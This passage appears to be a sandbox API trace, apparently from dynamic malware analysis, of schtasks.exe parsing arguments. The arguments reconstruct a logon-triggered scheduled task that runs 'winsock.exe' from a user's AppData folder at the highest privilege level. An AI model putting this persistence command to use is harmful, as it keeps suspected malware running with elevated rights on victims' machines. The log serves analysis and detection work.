[0163.607] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.607] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|delete|") returned 8 [0163.607] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|sc|") returned 4 [0163.607] lstrlenW (lpString="|delete|") returned 8 [0163.607] lstrlenW (lpString="|sc|") returned 4 [0163.607] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0163.607] RtlRestoreLastWin32Error () returned 0x490 [0163.607] lstrlenW (lpString="query") returned 5 [0163.607] lstrlenW (lpString="query") returned 5 [0163.607] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.607] lstrlenW (lpString="sc") returned 2 [0163.607] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.607] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x8, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|query|") returned 7 [0163.607] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|sc|") returned 4 [0163.607] lstrlenW (lpString="|query|") returned 7 [0163.607] lstrlenW (lpString="|sc|") returned 4 [0163.607] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0163.607] RtlRestoreLastWin32Error () returned 0x490 [0163.607] lstrlenW (lpString="change") returned 6 [0163.607] lstrlenW (lpString="change") returned 6 [0163.607] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.607] lstrlenW (lpString="sc") returned 2 [0163.607] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.608] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|change|") returned 8 [0163.608] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|sc|") returned 4 [0163.608] lstrlenW (lpString="|change|") returned 8 [0163.608] lstrlenW (lpString="|sc|") returned 4 [0163.608] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0163.608] RtlRestoreLastWin32Error () returned 0x490 [0163.608] lstrlenW (lpString="run") returned 3 [0163.608] lstrlenW (lpString="run") returned 3 [0163.608] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.608] lstrlenW (lpString="sc") returned 2 [0163.608] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.608] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|run|") returned 5 [0163.608] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|sc|") returned 4 [0163.608] lstrlenW (lpString="|run|") returned 5 [0163.608] lstrlenW (lpString="|sc|") returned 4 [0163.608] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0163.608] RtlRestoreLastWin32Error () returned 0x490 [0163.608] lstrlenW (lpString="end") returned 3 [0163.608] lstrlenW (lpString="end") returned 3 [0163.608] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.608] lstrlenW (lpString="sc") returned 2 [0163.608] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.608] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|end|") returned 5 [0163.608] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|sc|") returned 4 [0163.609] lstrlenW (lpString="|end|") returned 5 [0163.609] lstrlenW (lpString="|sc|") returned 4 [0163.609] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0163.609] RtlRestoreLastWin32Error () returned 0x490 [0163.609] lstrlenW (lpString="showsid") returned 7 [0163.609] lstrlenW (lpString="showsid") returned 7 [0163.609] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.609] lstrlenW (lpString="sc") returned 2 [0163.609] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.609] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0xa, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|showsid|") returned 9 [0163.609] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|sc|") returned 4 [0163.609] lstrlenW (lpString="|showsid|") returned 9 [0163.609] lstrlenW (lpString="|sc|") returned 4 [0163.609] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0163.609] RtlRestoreLastWin32Error () returned 0x490 [0163.609] RtlRestoreLastWin32Error () returned 0x490 [0163.609] RtlRestoreLastWin32Error () returned 0x0 [0163.609] lstrlenW (lpString="/sc") returned 3 [0163.609] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0163.609] RtlRestoreLastWin32Error () returned 0x490 [0163.609] RtlRestoreLastWin32Error () returned 0x0 [0163.609] lstrlenW (lpString="/sc") returned 3 [0163.609] GetProcessHeap () returned 0x42e0000 [0163.609] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x8) returned 0x42e9920 [0163.609] GetProcessHeap () returned 0x42e0000 [0163.609] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x14) returned 0x42e9410 [0163.609] RtlRestoreLastWin32Error () returned 0x0 [0163.609] RtlRestoreLastWin32Error () returned 0x0 [0163.610] lstrlenW (lpString="ONLOGON") returned 7 [0163.610] lstrlenW (lpString="-/") returned 2 [0163.610] StrChrIW (lpStart="-/", wMatch=0x47f004f) returned 0x0 [0163.610] RtlRestoreLastWin32Error () returned 0x490 [0163.610] RtlRestoreLastWin32Error () returned 0x490 [0163.610] RtlRestoreLastWin32Error () returned 0x0 [0163.610] lstrlenW (lpString="ONLOGON") returned 7 [0163.610] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0163.610] RtlRestoreLastWin32Error () returned 0x490 [0163.610] RtlRestoreLastWin32Error () returned 0x0 [0163.610] lstrlenW (lpString="ONLOGON") returned 7 [0163.610] GetProcessHeap () returned 0x42e0000 [0163.610] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x10) returned 0x42e7430 [0163.610] GetProcessHeap () returned 0x42e0000 [0163.610] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x14) returned 0x42e94f0 [0163.610] RtlRestoreLastWin32Error () returned 0x0 [0163.610] RtlRestoreLastWin32Error () returned 0x0 [0163.610] lstrlenW (lpString="/tr") returned 3 [0163.610] lstrlenW (lpString="-/") returned 2 [0163.610] StrChrIW (lpStart="-/", wMatch=0x47f002f) returned="/" [0163.611] lstrlenW (lpString="?") returned 1 [0163.611] lstrlenW (lpString="?") returned 1 [0163.611] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.611] lstrlenW (lpString="tr") returned 2 [0163.611] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.611] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|?|") returned 3 [0163.611] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|tr|") returned 4 [0163.611] lstrlenW (lpString="|?|") returned 3 [0163.611] lstrlenW (lpString="|tr|") returned 4 [0163.611] RtlRestoreLastWin32Error () returned 0x490 [0163.611] lstrlenW (lpString="create") returned 6 [0163.611] lstrlenW (lpString="create") returned 6 [0163.611] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.611] lstrlenW (lpString="tr") returned 2 [0163.611] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.611] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|create|") returned 8 [0163.611] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|tr|") returned 4 [0163.611] lstrlenW (lpString="|create|") returned 8 [0163.611] lstrlenW (lpString="|tr|") returned 4 [0163.611] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0163.611] RtlRestoreLastWin32Error () returned 0x490 [0163.611] lstrlenW (lpString="delete") returned 6 [0163.611] lstrlenW (lpString="delete") returned 6 [0163.611] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.611] lstrlenW (lpString="tr") returned 2 [0163.611] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.611] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|delete|") returned 8 [0163.612] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|tr|") returned 4 [0163.612] lstrlenW (lpString="|delete|") returned 8 [0163.612] lstrlenW (lpString="|tr|") returned 4 [0163.612] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0163.612] RtlRestoreLastWin32Error () returned 0x490 [0163.612] lstrlenW (lpString="query") returned 5 [0163.612] lstrlenW (lpString="query") returned 5 [0163.612] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.612] lstrlenW (lpString="tr") returned 2 [0163.612] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.612] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x8, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|query|") returned 7 [0163.612] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|tr|") returned 4 [0163.612] lstrlenW (lpString="|query|") returned 7 [0163.612] lstrlenW (lpString="|tr|") returned 4 [0163.612] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0163.612] RtlRestoreLastWin32Error () returned 0x490 [0163.612] lstrlenW (lpString="change") returned 6 [0163.612] lstrlenW (lpString="change") returned 6 [0163.612] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.612] lstrlenW (lpString="tr") returned 2 [0163.612] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.612] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|change|") returned 8 [0163.612] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|tr|") returned 4 [0163.612] lstrlenW (lpString="|change|") returned 8 [0163.612] lstrlenW (lpString="|tr|") returned 4 [0163.612] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0163.612] RtlRestoreLastWin32Error () returned 0x490 [0163.612] lstrlenW (lpString="run") returned 3 [0163.612] lstrlenW (lpString="run") returned 3 [0163.612] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.613] lstrlenW (lpString="tr") returned 2 [0163.613] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.613] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|run|") returned 5 [0163.613] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|tr|") returned 4 [0163.613] lstrlenW (lpString="|run|") returned 5 [0163.613] lstrlenW (lpString="|tr|") returned 4 [0163.613] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0163.613] RtlRestoreLastWin32Error () returned 0x490 [0163.613] lstrlenW (lpString="end") returned 3 [0163.613] lstrlenW (lpString="end") returned 3 [0163.613] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.613] lstrlenW (lpString="tr") returned 2 [0163.613] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.613] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|end|") returned 5 [0163.613] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|tr|") returned 4 [0163.613] lstrlenW (lpString="|end|") returned 5 [0163.613] lstrlenW (lpString="|tr|") returned 4 [0163.613] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0163.613] RtlRestoreLastWin32Error () returned 0x490 [0163.613] lstrlenW (lpString="showsid") returned 7 [0163.613] lstrlenW (lpString="showsid") returned 7 [0163.613] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.613] lstrlenW (lpString="tr") returned 2 [0163.613] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.613] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0xa, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|showsid|") returned 9 [0163.613] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|tr|") returned 4 [0163.614] lstrlenW (lpString="|showsid|") returned 9 [0163.614] lstrlenW (lpString="|tr|") returned 4 [0163.614] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0163.614] RtlRestoreLastWin32Error () returned 0x490 [0163.614] RtlRestoreLastWin32Error () returned 0x490 [0163.614] RtlRestoreLastWin32Error () returned 0x0 [0163.614] lstrlenW (lpString="/tr") returned 3 [0163.614] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0163.614] RtlRestoreLastWin32Error () returned 0x490 [0163.614] RtlRestoreLastWin32Error () returned 0x0 [0163.614] lstrlenW (lpString="/tr") returned 3 [0163.614] GetProcessHeap () returned 0x42e0000 [0163.614] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x8) returned 0x42e28c8 [0163.614] GetProcessHeap () returned 0x42e0000 [0163.614] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x14) returned 0x42e9770 [0163.614] RtlRestoreLastWin32Error () returned 0x0 [0163.614] RtlRestoreLastWin32Error () returned 0x0 [0163.614] lstrlenW (lpString="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe") returned 56 [0163.614] lstrlenW (lpString="-/") returned 2 [0163.614] StrChrIW (lpStart="-/", wMatch=0x47f0043) returned 0x0 [0163.614] RtlRestoreLastWin32Error () returned 0x490 [0163.614] RtlRestoreLastWin32Error () returned 0x490 [0163.614] RtlRestoreLastWin32Error () returned 0x0 [0163.614] lstrlenW (lpString="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe") returned 56 [0163.614] StrChrIW (lpStart="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe", wMatch=0x3a) returned=":\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe" [0163.614] lstrlenW (lpString="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe") returned 56 [0163.614] GetProcessHeap () returned 0x42e0000 [0163.614] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x10) returned 0x42e7460 [0163.614] _memicmp (_Buf1=0x42e7460, _Buf2=0x232708, _Size=0x7) returned 0 [0163.614] GetProcessHeap () returned 0x42e0000 [0163.614] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0xc) returned 0x42e74f0 [0163.614] GetProcessHeap () returned 0x42e0000 [0163.615] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x10) returned 0x42eae28 [0163.615] _memicmp (_Buf1=0x42eae28, _Buf2=0x232708, _Size=0x7) returned 0 [0163.615] GetProcessHeap () returned 0x42e0000 [0163.615] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x76) returned 0x42eaf18 [0163.615] RtlRestoreLastWin32Error () returned 0x7a [0163.615] RtlRestoreLastWin32Error () returned 0x0 [0163.615] RtlRestoreLastWin32Error () returned 0x0 [0163.615] lstrlenW (lpString="C") returned 1 [0163.615] RtlRestoreLastWin32Error () returned 0x490 [0163.615] RtlRestoreLastWin32Error () returned 0x0 [0163.615] lstrlenW (lpString="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe") returned 56 [0163.615] GetProcessHeap () returned 0x42e0000 [0163.615] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x72) returned 0x42eba40 [0163.615] GetProcessHeap () returned 0x42e0000 [0163.615] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x14) returned 0x42e9530 [0163.615] RtlRestoreLastWin32Error () returned 0x0 [0163.615] RtlRestoreLastWin32Error () returned 0x0 [0163.615] lstrlenW (lpString="/rl") returned 3 [0163.615] lstrlenW (lpString="-/") returned 2 [0163.615] StrChrIW (lpStart="-/", wMatch=0x47f002f) returned="/" [0163.615] lstrlenW (lpString="?") returned 1 [0163.615] lstrlenW (lpString="?") returned 1 [0163.615] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.616] lstrlenW (lpString="rl") returned 2 [0163.616] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.616] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|?|") returned 3 [0163.616] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|rl|") returned 4 [0163.616] lstrlenW (lpString="|?|") returned 3 [0163.616] lstrlenW (lpString="|rl|") returned 4 [0163.616] RtlRestoreLastWin32Error () returned 0x490 [0163.616] lstrlenW (lpString="create") returned 6 [0163.616] lstrlenW (lpString="create") returned 6 [0163.616] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.616] lstrlenW (lpString="rl") returned 2 [0163.616] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.616] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|create|") returned 8 [0163.616] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|rl|") returned 4 [0163.616] lstrlenW (lpString="|create|") returned 8 [0163.616] lstrlenW (lpString="|rl|") returned 4 [0163.616] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0163.616] RtlRestoreLastWin32Error () returned 0x490 [0163.616] lstrlenW (lpString="delete") returned 6 [0163.616] lstrlenW (lpString="delete") returned 6 [0163.616] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.616] lstrlenW (lpString="rl") returned 2 [0163.616] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.616] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|delete|") returned 8 [0163.616] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|rl|") returned 4 [0163.616] lstrlenW (lpString="|delete|") returned 8 [0163.616] lstrlenW (lpString="|rl|") returned 4 [0163.617] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0163.617] RtlRestoreLastWin32Error () returned 0x490 [0163.617] lstrlenW (lpString="query") returned 5 [0163.617] lstrlenW (lpString="query") returned 5 [0163.617] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.617] lstrlenW (lpString="rl") returned 2 [0163.617] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.617] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x8, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|query|") returned 7 [0163.617] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|rl|") returned 4 [0163.617] lstrlenW (lpString="|query|") returned 7 [0163.617] lstrlenW (lpString="|rl|") returned 4 [0163.617] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0163.617] RtlRestoreLastWin32Error () returned 0x490 [0163.617] lstrlenW (lpString="change") returned 6 [0163.617] lstrlenW (lpString="change") returned 6 [0163.617] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.617] lstrlenW (lpString="rl") returned 2 [0163.617] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.617] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|change|") returned 8 [0163.617] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|rl|") returned 4 [0163.617] lstrlenW (lpString="|change|") returned 8 [0163.617] lstrlenW (lpString="|rl|") returned 4 [0163.617] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0163.617] RtlRestoreLastWin32Error () returned 0x490 [0163.617] lstrlenW (lpString="run") returned 3 [0163.617] lstrlenW (lpString="run") returned 3 [0163.617] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.617] lstrlenW (lpString="rl") returned 2 [0163.618] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.618] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|run|") returned 5 [0163.618] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|rl|") returned 4 [0163.618] lstrlenW (lpString="|run|") returned 5 [0163.618] lstrlenW (lpString="|rl|") returned 4 [0163.618] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0163.618] RtlRestoreLastWin32Error () returned 0x490 [0163.618] lstrlenW (lpString="end") returned 3 [0163.618] lstrlenW (lpString="end") returned 3 [0163.618] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.618] lstrlenW (lpString="rl") returned 2 [0163.618] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.618] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|end|") returned 5 [0163.618] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|rl|") returned 4 [0163.618] lstrlenW (lpString="|end|") returned 5 [0163.618] lstrlenW (lpString="|rl|") returned 4 [0163.618] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0163.618] RtlRestoreLastWin32Error () returned 0x490 [0163.618] lstrlenW (lpString="showsid") returned 7 [0163.618] lstrlenW (lpString="showsid") returned 7 [0163.618] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.618] lstrlenW (lpString="rl") returned 2 [0163.618] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.618] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0xa, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|showsid|") returned 9 [0163.618] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|rl|") returned 4 [0163.618] lstrlenW (lpString="|showsid|") returned 9 [0163.619] lstrlenW (lpString="|rl|") returned 4 [0163.619] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0163.619] RtlRestoreLastWin32Error () returned 0x490 [0163.619] RtlRestoreLastWin32Error () returned 0x490 [0163.619] RtlRestoreLastWin32Error () returned 0x0 [0163.619] lstrlenW (lpString="/rl") returned 3 [0163.619] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0163.619] RtlRestoreLastWin32Error () returned 0x490 [0163.619] RtlRestoreLastWin32Error () returned 0x0 [0163.619] lstrlenW (lpString="/rl") returned 3 [0163.619] GetProcessHeap () returned 0x42e0000 [0163.619] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x8) returned 0x42e6720 [0163.619] GetProcessHeap () returned 0x42e0000 [0163.619] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x14) returned 0x42e9550 [0163.619] RtlRestoreLastWin32Error () returned 0x0 [0163.619] RtlRestoreLastWin32Error () returned 0x0 [0163.619] lstrlenW (lpString="HIGHEST") returned 7 [0163.619] lstrlenW (lpString="-/") returned 2 [0163.619] StrChrIW (lpStart="-/", wMatch=0x47f0048) returned 0x0 [0163.619] RtlRestoreLastWin32Error () returned 0x490 [0163.619] RtlRestoreLastWin32Error () returned 0x490 [0163.619] RtlRestoreLastWin32Error () returned 0x0 [0163.619] lstrlenW (lpString="HIGHEST") returned 7 [0163.619] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0163.619] RtlRestoreLastWin32Error () returned 0x490 [0163.619] RtlRestoreLastWin32Error () returned 0x0 [0163.619] lstrlenW (lpString="HIGHEST") returned 7 [0163.619] GetProcessHeap () returned 0x42e0000 [0163.619] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x10) returned 0x42eabb8 [0163.619] GetProcessHeap () returned 0x42e0000 [0163.619] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x14) returned 0x42e9710 [0163.619] RtlRestoreLastWin32Error () returned 0x0 [0163.619] RtlRestoreLastWin32Error () returned 0x0 [0163.619] lstrlenW (lpString="/f") returned 2 [0163.619] lstrlenW (lpString="-/") returned 2 [0163.620] StrChrIW (lpStart="-/", wMatch=0x47f002f) returned="/" [0163.620] lstrlenW (lpString="?") returned 1 [0163.620] lstrlenW (lpString="?") returned 1 [0163.620] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.620] lstrlenW (lpString="f") returned 1 [0163.620] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.620] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|?|") returned 3 [0163.620] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|f|") returned 3 [0163.620] lstrlenW (lpString="|?|") returned 3 [0163.620] lstrlenW (lpString="|f|") returned 3 [0163.620] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0163.620] RtlRestoreLastWin32Error () returned 0x490 [0163.620] lstrlenW (lpString="create") returned 6 [0163.620] lstrlenW (lpString="create") returned 6 [0163.620] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.620] lstrlenW (lpString="f") returned 1 [0163.620] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.620] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|create|") returned 8 [0163.620] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|f|") returned 3 [0163.620] lstrlenW (lpString="|create|") returned 8 [0163.620] lstrlenW (lpString="|f|") returned 3 [0163.620] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0163.620] RtlRestoreLastWin32Error () returned 0x490 [0163.620] lstrlenW (lpString="delete") returned 6 [0163.620] lstrlenW (lpString="delete") returned 6 [0163.620] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.620] lstrlenW (lpString="f") returned 1 [0163.621] _memicmp 